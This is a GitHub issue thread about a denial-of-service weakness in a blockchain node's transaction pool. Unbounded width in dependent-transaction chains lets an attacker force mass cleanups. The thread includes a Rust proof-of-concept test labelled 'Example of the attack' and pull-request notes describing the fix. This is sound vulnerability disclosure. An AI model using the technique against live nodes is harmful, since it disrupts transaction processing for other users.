Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Transaction pool can be manipulated to do a lot of cleanups #2020

Closed
xgreenx opened this issue Jul 5, 2024 · 3 comments
Closed

Transaction pool can be manipulated to do a lot of cleanups #2020

xgreenx opened this issue Jul 5, 2024 · 3 comments
Assignees

Comments

@xgreenx
Copy link
Collaborator

xgreenx commented Jul 5, 2024

The TxPool supports the feature that allows chain transactions and the use of uncommitted UTXOs.

We allow chaining up to max_depth dependent transactions. But we don't limit the width of the chain. Taking into account that it is possible to create a transaction with 255 outputs, and for each of these outputs, create another dependent transaction with 255 outputs and continue this process until max_depth is reached.

After setup the TxPool to have 255^max_depth dependent transactions, the manipulator can insert conflicting transactions with higher tips to replace the first dependent transaction and cause cleanup of 255^max_depth - 1 transactions.

We need to limit dependent transactions on width as well.

@xgreenx
Copy link
Collaborator Author

xgreenx commented Aug 8, 2024

#[tokio::test]
async fn poc_incorrect_prune() {
    let max_tx = 5;
    let mut context = TextContext::default().config(Config {
        max_tx,
        ..Default::default()
    }); // set a low max_tx to easily demonstrate our point
    let (_, gas_coin) = context.setup_coin();
    let tx_benign = TransactionBuilder::script(vec![], vec![])
        .tip(1)
        .max_fee_limit(1)
        .script_gas_limit(GAS_LIMIT)
        .add_input(gas_coin)
        .finalize_as_transaction();

    let (_, gas_coin) = context.setup_coin();
    let mut inputs = vec![];
    let mut outputs = vec![];
    for _ in 0..max_tx {
        let input = context.random_predicate(AssetId::BASE, 1000000000, None);
        let output = Output::variable(*input.input_owner().unwrap(), 0, AssetId::BASE);
        inputs.push(UnsetInput(input));
        outputs.push(output);
    }
    let tx_malicious_init = TransactionBuilder::script(vec![], vec![])
        .tip(2)
        .max_fee_limit(2)
        .script_gas_limit(GAS_LIMIT)
        .add_input(gas_coin)
        .add_output(outputs[0])
        .add_output(outputs[1])
        .add_output(outputs[2])
        .add_output(outputs[3])
        .add_output(outputs[4])
        .finalize_as_transaction();

    let mut tx_malicious_fill = vec![];
    for i in 0..max_tx {
        let tx = TransactionBuilder::script(vec![], vec![])
            .tip(100)
            .max_fee_limit(100)
            .script_gas_limit(GAS_LIMIT)
            .add_input(inputs.remove(0).into_input(UtxoId::new(
                tx_malicious_init.id(&Default::default()),
                i.try_into().unwrap(),
            )))
            .finalize_as_transaction();
        tx_malicious_fill.push(tx);
    }

    let mut txpool = context.build();

    let tx_benign = check_unwrap_tx(tx_benign, &txpool.config).await;
    txpool
        .insert_single(tx_benign.clone())
        .expect("tx_benign should be OK, got Err");

    let tx_malicious_init = check_unwrap_tx(tx_malicious_init, &txpool.config).await;
    txpool
        .insert_single(tx_malicious_init)
        .expect("tx_malicious_init should be OK, got Err");

    for _ in 0..max_tx {
        let tx = check_unwrap_tx(tx_malicious_fill.remove(0), &txpool.config).await;
        txpool
            .insert_single(tx)
            .expect("tx_malicious_fill should be OK, got Err");
    }

    assert!(txpool.pending_number() == 0, "clear failed",);
}

Example of the attack

This was referenced Sep 4, 2024
@AurelienFT AurelienFT self-assigned this Sep 12, 2024
AurelienFT added a commit that referenced this issue Oct 3, 2024
## Linked Issues/PRs
Closes #2160

## Description

This PR contains a new way to organize and store transactions. This new
architecture have multiple benefits :
- Transactions are now organized as a graph and so can easily remove a
branch fixing this kind of problems
#2020
- Storage, collision detection and selections are well split and can be
viewed as independent mechanisms that are plugged to the pool. This
allow to fix this : #1961
and reduce potential related issues in the future.
- Transactions selection is still basic (only ratio gas/tip) but already
address : #868 (for the
selection part) and is highly customizable for next usages.
- Usage of `dependencies` and `dependents` transactions everywhere (not
a mix with parents etc). `dependencies` is for transaction that need to
be included **before** us and `dependents` is for transaction that need
to be included **after** us.
- Reduced the number of caches to maintain to avoid desync between
caches and storages
- Better separation of concerns to have a clearer code in the `Pool`
structure
- Changed the priority over collision by computing the average ratio of
all collision instead of having a better ratio than all collision (idea
from @xgreenx )
- Unwrap is forbidden
- Avoid Arc and have a storage place that can give references on-demand.
- Highly documented
- All the previous tests of the pool passes

### Changes in code logic from TxPool v1
- The verifications are performed in a new order specified in
#2186. The goal is to avoid
making the computation heavy work if the simple checks aren't valid. In
this new version we also ensure that verifications are done in order by
having wrapper type around each step to allow only one verification
path.
- The insertion is performed in a separate thread pool, the goal is to
not block the pool on any verifications/insertions and to manage the
ressources we allocate to these works
- The insertion rules and conditions has change to the following :
- A transaction with dependencies can collide only with one other
transaction
- A transaction without dependencies can collide with multiple
transaction
- Rules to free up space for new transaction
- If a transaction is colliding with another verify if deleting the
colliding transaction and dependents subtree is enough otherwise refuses
the tx
- If a transaction is dependent and not enough space, don't accept
transaction
- If a transaction is executable, try to free has much space used by
less profitable transactions as possible in the pool to include it

- New limits on the size of the pool : max_pool_bytes_size and
max_pool_gas


Some parts of this refactoring can still be improved : 
- Keep not includable transactions in a side buffer
- Benchmarks
- Metrics
- High level documentation (drawings, general explanations) 

Ideas that could be added but maybe overkill : 
- Generic cache structure that is linked to the graph pool somehow, and
automatically update caches when a transaction is included/removed to
avoid cache desync.

## Checklist
- [x] Breaking changes are clearly marked as such in the PR description
and changelog
- [x] New behavior is reflected in tests
- [x] [The specification](https://github.com/FuelLabs/fuel-specs/)
matches the implemented behavior (link update PR if changes are needed)

### Before requesting review
- [x] I have reviewed the code myself
- [ ] I have created follow-up issues caused by this PR and linked them
here

---------

Co-authored-by: Green Baneling <XgreenX9999@gmail.com>
AurelienFT added a commit that referenced this issue Oct 8, 2024
Closes #2020
Closes #1961
Closes #868
Closes #2185
Closes #2186
Closes #2255
Closes #2160
Closes #1967
Closes #2187

## Description
Remove code of the previous txpool and connect all modules to this one

TODO: Improve description @AurelienFT 

## Checklist
- [x] Breaking changes are clearly marked as such in the PR description
and changelog
- [x] New behavior is reflected in tests
- [x] [The specification](https://github.com/FuelLabs/fuel-specs/)
matches the implemented behavior (link update PR if changes are needed)

### Before requesting review
- [x] I have reviewed the code myself
- [x] I have created follow-up issues caused by this PR and linked them
here

---------

Co-authored-by: Green Baneling <XgreenX9999@gmail.com>
@xgreenx
Copy link
Collaborator Author

xgreenx commented Oct 8, 2024

Done in #2263

@xgreenx xgreenx closed this as completed Oct 8, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

3 participants
@xgreenx @AurelienFT and others